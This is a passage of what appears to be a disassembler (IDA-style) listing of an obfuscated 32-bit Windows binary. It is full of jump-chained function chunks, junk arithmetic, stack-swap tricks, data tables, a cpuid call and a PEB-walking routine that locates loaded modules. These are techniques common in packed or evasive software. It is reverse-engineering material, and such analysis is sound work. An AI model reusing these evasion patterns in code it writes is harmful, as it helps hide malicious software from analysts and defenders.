; FUNCTION CHUNK AT 00428B33 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B8DE SIZE 00000014 BYTES
push edx
push ebx
push ecx
loc_42581C: ; CODE XREF: _94j21ax3:00422F34j
sub ebx, 0B4A0B93Ah
push eax
pop ebx
sbb ecx, 0AC5D6882h
jmp loc_42405C
sub_425819 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4237DC
loc_42582F: ; CODE XREF: sub_4237DC:loc_429DC2j
add [ebp-8], eax
push offset loc_426BE9
jmp loc_42B37F
; END OF FUNCTION CHUNK FOR sub_4237DC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_42583C: ; CODE XREF: sub_4294B3+14A3j
jz loc_424F94
jmp loc_42850E
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423A56
loc_425847: ; CODE XREF: sub_423A56:loc_4274DBj
; _94j21ax3:loc_4275D0j
add edx, 35578D11h
mov [edx], eax
pop edx
inc dword ptr [ebp-0Ch]
dec dword ptr [ebp-18h]
jmp loc_428600
; END OF FUNCTION CHUNK FOR sub_423A56
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_112. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_42585C: ; CODE XREF: _94j21ax3:00426886j
jmp loc_4237C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_425861: ; CODE XREF: sub_423324+8Ej
jmp loc_424C48
; ---------------------------------------------------------------------------
loc_425866: ; CODE XREF: sub_423324+69j
xor esi, ecx
; END OF FUNCTION CHUNK FOR sub_423324
; =============== S U B R O U T I N E =======================================
sub_425868 proc near ; CODE XREF: sub_427344:loc_42554Cp
; FUNCTION CHUNK AT 00423458 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004241CA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00424E49 SIZE 00000010 BYTES
mov [esp+0], eax
pop eax
mov ebp, esp
call sub_42A7FC
loc_425873: ; CODE XREF: sub_429F37+1j
jmp loc_423458
sub_425868 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B9CF
loc_425878: ; CODE XREF: sub_42B9CF+8Dj
jnz loc_42183B
jmp loc_4227FD
; END OF FUNCTION CHUNK FOR sub_42B9CF
; ---------------------------------------------------------------------------
push 0D32DC21Ch
pop eax
add eax, 0EFE0E2CCh
add eax, ebp
jmp loc_42896C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C1AE
loc_425896: ; CODE XREF: sub_42C1AE-5B58j
jns loc_427A6D
not ecx
jmp loc_428A5D
; END OF FUNCTION CHUNK FOR sub_42C1AE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C24F
loc_4258A3: ; CODE XREF: sub_42C24F:loc_426F78j
jz loc_42518F
jmp loc_422B01
; END OF FUNCTION CHUNK FOR sub_42C24F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422E59
loc_4258AE: ; CODE XREF: sub_422E59+9j
mov [ebp-4], eax
cmp dword ptr [ebp-4], 0
jz loc_4225DC
jmp loc_428B18
; END OF FUNCTION CHUNK FOR sub_422E59
; ---------------------------------------------------------------------------
loc_4258C0: ; CODE XREF: _94j21ax3:00424455j
jnz loc_42A21B
jmp loc_4275C1
; =============== S U B R O U T I N E =======================================
sub_4258CB proc near ; CODE XREF: _94j21ax3:00423DC2j
; sub_421F28+7E10p
mov [esp+0], ecx
pop ecx
push eax
call sub_423F43
retn
sub_4258CB endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_4258D6: ; CODE XREF: sub_42284F+4CB5j
jmp loc_421526
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424C37
loc_4258DB: ; CODE XREF: sub_424C37+6j
; sub_424C37+4F3Fj
jz loc_42BE43
call sub_428BBD
loc_4258E6: ; CODE XREF: sub_42651A+16j
jmp loc_424BAF
; END OF FUNCTION CHUNK FOR sub_424C37
; =============== S U B R O U T I N E =======================================
sub_4258EB proc near ; CODE XREF: sub_42A7FC-2029p
; _94j21ax3:004287DFj
; FUNCTION CHUNK AT 00422D2F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00423AF2 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00424E22 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00425BBE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004298B4 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 004299C0 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0042B264 SIZE 00000017 BYTES
xchg edi, [esp+0]
pop edi
xor eax, eax
mov ds:dword_42C488, eax
loc_4258F6: ; CODE XREF: sub_42BFF0:loc_427326j
; sub_42BFF0-4CB1j ...
js loc_423AF2
jmp loc_425BBE
sub_4258EB endp ; sp-analysis failed
; ---------------------------------------------------------------------------
test edx, edi
jmp loc_424AC6
; ---------------------------------------------------------------------------
loc_425908: ; CODE XREF: _94j21ax3:loc_429113j
sub eax, 91668F5Dh
add eax, 1C25C677h
xchg eax, [esp]
jmp locret_42211A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_42591C: ; CODE XREF: sub_4272E9-211Fj
call sub_42C057
test al, al
jz loc_4292E1
jmp loc_42B9E3
; END OF FUNCTION CHUNK FOR sub_4272E9
; ---------------------------------------------------------------------------
loc_42592E: ; CODE XREF: _94j21ax3:004289F7j
adc ebp, 0A3250523h
; =============== S U B R O U T I N E =======================================
sub_425934 proc near ; CODE XREF: sub_4296C2+Ap
; FUNCTION CHUNK AT 00421BE1 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004251C1 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0042643C SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00426BC9 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00427926 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429505 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00429EEC SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00429F5E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042A2E1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B144 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042BA45 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042BF71 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042C239 SIZE 0000000B BYTES
mov [esp+0], esi
pop esi
push 6204689Fh
loc_42593D: ; CODE XREF: sub_425934:loc_42BA45j
pop eax
jmp loc_42BF71
sub_425934 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4259BF
loc_425943: ; CODE XREF: sub_4259BF:loc_429308j
jnz loc_42534C
loc_425949: ; CODE XREF: sub_421D33+5B11j
jmp loc_427F58
; END OF FUNCTION CHUNK FOR sub_4259BF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_42594E: ; CODE XREF: sub_423324-3D9j
jmp nullsub_213
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
sub esi, 0D21A80E5h
cdq
add eax, 307646A9h
jmp loc_425346
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B3E4
loc_425965: ; CODE XREF: sub_42B3E4+11C1j
push offset sub_427D03
jmp nullsub_199
; END OF FUNCTION CHUNK FOR sub_42B3E4
; ---------------------------------------------------------------------------
loc_42596F: ; CODE XREF: _94j21ax3:004286CCj
jo loc_423A4B
; =============== S U B R O U T I N E =======================================
sub_425975 proc near ; CODE XREF: sub_421047+39B6p
mov [esp+0], edi
pop edi
call sub_42BFF0
call sub_426A83
sub_425975 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_425983 proc near ; CODE XREF: sub_425324+2p
; _94j21ax3:0042C0E5j
; FUNCTION CHUNK AT 004239C9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004240A5 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 004247FB SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00427BE4 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00428AB6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00428E7E SIZE 00000005 BYTES
mov [esp+0], ecx
pop ecx
mov eax, large fs:30h
loc_42598E: ; CODE XREF: _94j21ax3:0042AB7Fj
mov eax, [eax+0Ch]
mov eax, [eax+0Ch]
loc_425994: ; CODE XREF: _94j21ax3:0042493Bj
; sub_42BC93+Cj
jo loc_427BE4
mov ebx, [eax+18h]
mov ecx, [ebx+3Ch]
jmp loc_4239C9
sub_425983 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
locret_4259A5: ; CODE XREF: _94j21ax3:004285E1j
retn
; ---------------------------------------------------------------------------
loc_4259A6: ; DATA XREF: sub_4239A5:loc_421F58o
xor eax, eax
mov [ebp-0Ch], eax
cmp dword ptr [ebp-4], 0
jz loc_423F37
call nullsub_11
jmp loc_427E01
; =============== S U B R O U T I N E =======================================
sub_4259BF proc near ; CODE XREF: sub_4239A5+3j
var_128 = dword ptr -128h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0042185A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00421BD9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00421EF5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00422773 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042468D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042534C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00425943 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004265F4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00427F58 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042866A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00428C18 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429303 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042A985 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0042AB10 SIZE 0000001B BYTES
add esp, 0FFFFFED8h
jmp loc_428C18
sub_4259BF endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422CA6
loc_4259CA: ; CODE XREF: sub_422CA6:loc_427DEDj
jnz loc_42AD44
jmp loc_429324
; END OF FUNCTION CHUNK FOR sub_422CA6
; ---------------------------------------------------------------------------
loc_4259D5: ; CODE XREF: _94j21ax3:00429240j
jb loc_42BFC5
sbb ebp, eax
and edi, 0A9F014DAh
; START OF FUNCTION CHUNK FOR sub_4228FF
loc_4259E3: ; CODE XREF: sub_4228FF:loc_424582j
xor eax, 0BB7FF583h
push edi
pushf
jmp loc_428CD5
; END OF FUNCTION CHUNK FOR sub_4228FF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423081
loc_4259F0: ; CODE XREF: sub_423081:loc_42308Dj
jz loc_422AF0
loc_4259F6: ; CODE XREF: sub_42773C+2C7Cj
jmp loc_42A006
; END OF FUNCTION CHUNK FOR sub_423081
; ---------------------------------------------------------------------------
popf
cmp eax, ebx
jmp loc_422AE8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AA5F
loc_425A03: ; CODE XREF: sub_42AA5F:loc_4215EAj
mov esp, ebp
pop ebp
retn 8
; END OF FUNCTION CHUNK FOR sub_42AA5F
; =============== S U B R O U T I N E =======================================
sub_425A09 proc near ; CODE XREF: sub_42166E+Cp
; sub_42C0BC-A67Cp ...
; FUNCTION CHUNK AT 00427838 SIZE 00000005 BYTES
jno sub_4236B8
push ebp
mov ebp, esp
jmp loc_427838
sub_425A09 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422C48
loc_425A17: ; CODE XREF: sub_422C48+4883j
xchg ebp, ebx
mov ebp, esp
call sub_4290B2
loc_425A20: ; CODE XREF: sub_42ADA2+DA9j
jmp loc_424594
; END OF FUNCTION CHUNK FOR sub_422C48
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428BBD
loc_425A25: ; CODE XREF: sub_428BBD-1D46j
jmp loc_42347B
; END OF FUNCTION CHUNK FOR sub_428BBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4221B8
loc_425A2A: ; CODE XREF: sub_4221B8+8DC1j
; _94j21ax3:0042AF95j
add edi, 9827026Bh
and ebx, edi
pop edi
mov edx, 86B42547h
jmp loc_42BAB1
; END OF FUNCTION CHUNK FOR sub_4221B8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426A9F
loc_425A3D: ; CODE XREF: sub_426A9F:loc_425133j
xor ebx, ebx
xor ecx, ecx
xor edx, edx
cpuid
jmp loc_42876F
; END OF FUNCTION CHUNK FOR sub_426A9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BEDC
loc_425A4A: ; CODE XREF: sub_42BEDC:loc_427B04j
add edi, ebp
add edi, 75F7D0A5h
mov [edi], eax
pop edi
jmp loc_4286BC
; END OF FUNCTION CHUNK FOR sub_42BEDC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425819
loc_425A5A: ; CODE XREF: sub_425819:loc_427095j
cmp ebx, eax
push ebx
push 6C893853h
pop ebx
or ebx, ds:4000F8h
xor ebx, 0B377C670h
xor eax, ebx
pop ebx
jmp loc_424575
; END OF FUNCTION CHUNK FOR sub_425819
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BA8A
loc_425A77: ; CODE XREF: sub_42BA8A:loc_42704Dj
mov eax, ds:dword_424080
or eax, eax
jnz loc_429D35
jmp loc_4235A3
; END OF FUNCTION CHUNK FOR sub_42BA8A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422141
loc_425A8A: ; CODE XREF: sub_422141+7j
rol ebx, 9
and ebx, 2ACE8FC4h
xor ebx, 0E676B642h
add eax, ebx
pop ebx
push eax
call sub_42A61F
xchg eax, ecx
jmp loc_426F26
; END OF FUNCTION CHUNK FOR sub_422141
; ---------------------------------------------------------------------------
push eax
ror eax, 0Dh
push ebx
push 0C13BFA8Eh
; START OF FUNCTION CHUNK FOR sub_423324
loc_425AB3: ; CODE XREF: sub_423324:loc_4223DBj
pop ebx
jmp loc_429596
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
pop ecx
xchg ebp, ecx
jmp sub_4221B8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A277
loc_425AC1: ; CODE XREF: sub_42A277-5034j
ror eax, 6
mov ds:dword_429F80, eax
locret_425ACA: ; CODE XREF: _94j21ax3:00428DD7j
retn
; END OF FUNCTION CHUNK FOR sub_42A277
; ---------------------------------------------------------------------------
loc_425ACB: ; CODE XREF: _94j21ax3:00421854j
jmp locret_4242AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A277
loc_425AD0: ; CODE XREF: sub_42284F:loc_424CDCj
; sub_42A277+6j
rol eax, 6
xchg eax, edx
push edx
xchg eax, edx
jmp loc_4247DE
; END OF FUNCTION CHUNK FOR sub_42A277
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426F9E
loc_425ADD: ; CODE XREF: sub_426F9E:loc_424BBEj
mov eax, offset dword_426F64
call sub_428AE1
lea eax, [ebp-14h]
; END OF FUNCTION CHUNK FOR sub_426F9E
; START OF FUNCTION CHUNK FOR sub_421656
loc_425AEA: ; CODE XREF: sub_421656+5943j
push eax
call sub_42BFF0
mov ds:dword_426F74, eax
jmp loc_42ADE3
; END OF FUNCTION CHUNK FOR sub_421656
; ---------------------------------------------------------------------------
loc_425AFA: ; CODE XREF: _94j21ax3:004224D5j
jz sub_42A4DC
cmp ecx, 661CE117h
jmp loc_42A5B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429A83
loc_425B0B: ; CODE XREF: sub_429A83-5B92j
add dword ptr [esi], 0F80586h
call sub_42C1AE
locret_425B16: ; CODE XREF: sub_42510A+Aj
retn
; END OF FUNCTION CHUNK FOR sub_429A83
; ---------------------------------------------------------------------------
mov edi, 65A1DFEEh
jmp sub_421013
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_201. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421388
loc_425B22: ; CODE XREF: sub_421388+57AFj
jmp loc_427E22
; END OF FUNCTION CHUNK FOR sub_421388
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BAD4
loc_425B27: ; CODE XREF: sub_42BAD4-23B0j
jge loc_422512
not edi
shl edi, 9
test ecx, ebx
jmp loc_4286AC
; END OF FUNCTION CHUNK FOR sub_42BAD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_425B39: ; CODE XREF: sub_4272E9+5076j
call sub_428F65
test al, al
jz loc_421242
jmp loc_4297BA
; END OF FUNCTION CHUNK FOR sub_4272E9
; ---------------------------------------------------------------------------
loc_425B4B: ; CODE XREF: _94j21ax3:00422D77j
or edi, 9915168Eh
rol edi, 15h
loc_425B54: ; CODE XREF: _94j21ax3:loc_426504j
push 6C173D24h
pop eax
add eax, ds:4000FBh
xor eax, 0C393F6C1h
add eax, ebp
call sub_425448
; START OF FUNCTION CHUNK FOR sub_42C1AE
loc_425B6D: ; CODE XREF: sub_42C1AE-373Aj
jmp loc_428BF0
; END OF FUNCTION CHUNK FOR sub_42C1AE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423BF8
loc_425B72: ; CODE XREF: sub_42B238:loc_4227ACj
; sub_423D25+Aj
jmp sub_424E34
; END OF FUNCTION CHUNK FOR sub_423BF8
; =============== S U B R O U T I N E =======================================
sub_425B77 proc near ; CODE XREF: sub_42ABB1-28A3p
; _94j21ax3:0042B17Fj
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 0042248D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042300D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424029 SIZE 00000018 BYTES
xchg edx, [esp+0]
pop edx
popf
xchg eax, [esp+0]
jmp loc_42300D
sub_425B77 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
mov [ebp-4], eax
jmp loc_422243
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42ADA2
loc_425B8C: ; CODE XREF: sub_42ADA2:loc_426C46j
cmp byte ptr [ebp-5], 0
jnz loc_424949
jmp loc_42B9F9
; END OF FUNCTION CHUNK FOR sub_42ADA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426FE1
loc_425B9B: ; CODE XREF: sub_426FE1+272Ej
mov edx, [ebp-1Ch]
shr edx, 3
mov ecx, ds:dword_429F74
or [ecx+edx], al
mov ecx, [ebp-20h]
jmp loc_42A3BD
; END OF FUNCTION CHUNK FOR sub_426FE1
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_425BB3: ; CODE XREF: _94j21ax3:00427C74j
jmp loc_42A32E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_104. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429862
loc_425BB9: ; CODE XREF: sub_429862-1E3Fj
jmp nullsub_77
; END OF FUNCTION CHUNK FOR sub_429862
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4258EB
loc_425BBE: ; CODE XREF: sub_4258EB+11j
jmp loc_4298B4
; END OF FUNCTION CHUNK FOR sub_4258EB
; ---------------------------------------------------------------------------
db 0AFh
dword_425BC4 dd 380377E7h ; DATA XREF: sub_422A67+9w
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427344
loc_425BC8: ; CODE XREF: sub_427344+1j
jmp loc_42554C
; END OF FUNCTION CHUNK FOR sub_427344
; ---------------------------------------------------------------------------
align 2
dw 4DBCh
dword_425BD0 dd 77E75CB5h ; DATA XREF: sub_422034+Ew
; sub_426C7A:loc_426C84r ...
dword_425BD4 dd 2 ; DATA XREF: sub_427849:loc_423802r
; _94j21ax3:loc_424653r ...
dd 3 dup(2), 0C0h, 40h, 2 dup(1), 4 dup(2), 0C0h, 40h
dd 2 dup(1), 4 dup(2), 0C0h, 40h, 2 dup(1), 4 dup(2), 0C0h
dd 40h, 2 dup(1), 4 dup(2), 0C0h, 40h, 0
dd 1, 4 dup(2), 0C0h, 40h, 0
dd 1, 4 dup(2), 0C0h, 40h, 0
dd 401h, 4 dup(2), 0C0h, 40h, 0
dd 23h dup(1), 2 dup(2), 4 dup(0)
dd 40h, 42h, 0C0h, 0C2h, 4 dup(1), 10h dup(1E00h), 0C2h
dd 42h, 2 dup(0C2h), 0Ch dup(2), 0Ah dup(1), 60h, 5 dup(1)
dd 4 dup(8), 4 dup(1), 0C0h, 40h, 6 dup(1), 8 dup(0C0h)
dd 8 dup(40h), 2 dup(1C2h), 20h, 1, 2 dup(2), 0C2h, 42h
dd 1E0h, 1, 20h, 2 dup(1), 0C0h, 2 dup(1), 4 dup(2), 2 dup(0C0h)
dd 2 dup(1), 8 dup(2), 4 dup(1A00h), 4 dup(0C0h), 800h
dd 0A00h, 60h, 1A00h, 4 dup(1), 0
dd 1, 2 dup(0)
dd 2 dup(1), 2 dup(2), 6 dup(1), 2 dup(2)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AE5A
loc_425FD4: ; CODE XREF: sub_42AE5A-8AF5j
jmp loc_427A55
; END OF FUNCTION CHUNK FOR sub_42AE5A
; ---------------------------------------------------------------------------
db 5, 2Bh, 33h
dword_425FDC dd 2 ; DATA XREF: sub_423324+8FE7r
dd 3 dup(2), 1Ch dup(1), 5 dup(2), 1, 2, 19h dup(1), 10h dup(402h)
dd 10h dup(1), 0Bh dup(2), 3 dup(1), 2 dup(2), 1, 3 dup(0C2h)
dd 3 dup(2), 7 dup(1), 2 dup(2), 10h dup(0E00h), 10h dup(402h)
dd 3 dup(1), 2, 1C2h, 3 dup(2), 3 dup(1), 2, 1C2h, 0Bh dup(2)
dd 2 dup(1), 1C2h, 7 dup(2), 5 dup(1), 2, 9 dup(1), 3 dup(2)
dd 1, 2, 2 dup(1), 2 dup(2), 1, 3 dup(2), 1, 2, 1, 2 dup(2)
dd 2 dup(1), 2, 2 dup(1), 2 dup(2), 1, 3 dup(2), 1, 2
dd 1, 3 dup(2), 1, 2, 2 dup(1), 3 dup(2), 1, 3 dup(2)
dd 1, 4AC1E9h
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424EFA
loc_4263E1: ; CODE XREF: sub_424EFA+8j
jmp loc_429E4B
; END OF FUNCTION CHUNK FOR sub_424EFA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423A56
loc_4263E6: ; CODE XREF: sub_423A56+3A91j
ja loc_424D6F
xor edx, 93CCAABDh
loc_4263F2: ; CODE XREF: sub_423A56:loc_428E53j
mov eax, [ebp-4]
xor edx, edx
call sub_42540A
loc_4263FC: ; CODE XREF: _94j21ax3:004248BDj
jmp loc_42AF2D
; END OF FUNCTION CHUNK FOR sub_423A56
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4254AE
loc_426401: ; CODE XREF: sub_4254AE:loc_4290D0j
pop ebp
mov eax, ds:dword_424080
call sub_421F28
loc_42640D: ; CODE XREF: sub_4210BC+6j
jmp nullsub_66
; END OF FUNCTION CHUNK FOR sub_4254AE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421A4F
loc_426412: ; CODE XREF: sub_421A4F:loc_421A5Ej
mov eax, ds:dword_42C214
or eax, eax
jnz loc_421362
push offset loc_4279FF
jmp loc_42B879
; END OF FUNCTION CHUNK FOR sub_421A4F
; ---------------------------------------------------------------------------
adc ebx, edx
jmp sub_42982D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422973
loc_426431: ; CODE XREF: sub_422973+8053j
jnz loc_42B660
jmp loc_42710E
; END OF FUNCTION CHUNK FOR sub_422973
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425934
loc_42643C: ; CODE XREF: sub_425934+3BDCj
; sub_425934:loc_42C239j
call sub_426612
mov edx, 0A70158B4h
call sub_4239A5
call sub_4231CD
loc_426450: ; CODE XREF: sub_429EDB+20B4j
push 794A34E5h
loc_426455: ; CODE XREF: sub_429EDB:loc_42A654j
push offset sub_4236AF
jmp loc_429F63
; END OF FUNCTION CHUNK FOR sub_425934
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421689
loc_42645F: ; CODE XREF: sub_421689+8C75j
and eax, ecx
mov ecx, edi
sub edx, edi
sub ebx, esi
jmp loc_42BC0C
; END OF FUNCTION CHUNK FOR sub_421689
; ---------------------------------------------------------------------------
rol esi, 18h
jns sub_42A277
; START OF FUNCTION CHUNK FOR sub_425324
loc_426475: ; CODE XREF: sub_425324:loc_4230D0j
jmp sub_429CCA
; END OF FUNCTION CHUNK FOR sub_425324
; ---------------------------------------------------------------------------
jmp locret_421410
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_426480: ; CODE XREF: sub_42284F+9CE8j
jmp loc_428073
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42169F
loc_426485: ; CODE XREF: sub_4217DC+2j
; sub_428F6D-4C93j ...
jo loc_4268AF
call sub_42C057
test al, al
jz loc_428C36
push eax
push 5906069Dh
jmp loc_42910E
; END OF FUNCTION CHUNK FOR sub_42169F
; ---------------------------------------------------------------------------
loc_4264A3: ; CODE XREF: _94j21ax3:00424CB9j
jz loc_42ACA3
jmp loc_427413
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_184. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4264AF proc near ; CODE XREF: sub_428B74j
push ebp
mov ebp, esp
push ecx
mov esp, ebp
mov ebp, offset sub_423A33
xchg ebp, [esp+0]
jmp nullsub_61
sub_4264AF endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422AD5
loc_4264C2: ; CODE XREF: sub_422AD5+505Bj
push esi
loc_4264C3: ; CODE XREF: sub_422AD5:loc_426591j
call sub_42574E
push offset loc_428893
jmp loc_42936A
; END OF FUNCTION CHUNK FOR sub_422AD5
; ---------------------------------------------------------------------------
push offset sub_422436
jmp loc_427890
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421402
loc_4264DC: ; CODE XREF: sub_421402:loc_421CD6j
pushf
push 68A867E9h
pop edi
add edi, 97579C17h
popf
jmp loc_4214BB
; END OF FUNCTION CHUNK FOR sub_421402
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422CA6
loc_4264EF: ; CODE XREF: sub_422CA6+2j
push edx
push 488D6D8Ah
pop edx
add edx, 0B7B553B2h
xchg edx, [esp+4+var_4]
jmp loc_426621
; END OF FUNCTION CHUNK FOR sub_422CA6
; ---------------------------------------------------------------------------
loc_426504: ; CODE XREF: _94j21ax3:loc_42A837j
jnz loc_425B54
jmp loc_426547
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42266A
loc_42650F: ; CODE XREF: sub_42266A+8j
jnz loc_427C40
jmp loc_429585
; END OF FUNCTION CHUNK FOR sub_42266A
; =============== S U B R O U T I N E =======================================
sub_42651A proc near ; CODE XREF: sub_424EE4+2p
; _94j21ax3:004284F2p ...
var_8 = dword ptr -8
; FUNCTION CHUNK AT 004296AA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042B642 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B737 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0042B8CC SIZE 00000005 BYTES
jo loc_426535
push offset sub_4284C0
jmp loc_42B8CC
; ---------------------------------------------------------------------------
loc_42652A: ; DATA XREF: sub_426B65+16o
call sub_4239A5
push eax
jmp loc_4258E6
; ---------------------------------------------------------------------------
loc_426535: ; CODE XREF: sub_42651Aj
push ebp
mov ebp, esp
call sub_42B1BB
loc_42653D: ; CODE XREF: sub_42C2E2+11j
jmp loc_42B737
sub_42651A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_426542: ; CODE XREF: _94j21ax3:004297B4j
jmp locret_4275DA
; ---------------------------------------------------------------------------
loc_426547: ; CODE XREF: _94j21ax3:0042650Aj
jmp loc_422D6C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429A83
loc_42654C: ; CODE XREF: sub_429A83-5B8Cj
jmp loc_4282A3
; END OF FUNCTION CHUNK FOR sub_429A83
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_114. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423C51
loc_426552: ; CODE XREF: sub_423C51:loc_422D81j
push offset loc_42C104
jmp nullsub_160
; END OF FUNCTION CHUNK FOR sub_423C51
; ---------------------------------------------------------------------------
popf
jmp loc_428DA0
; =============== S U B R O U T I N E =======================================
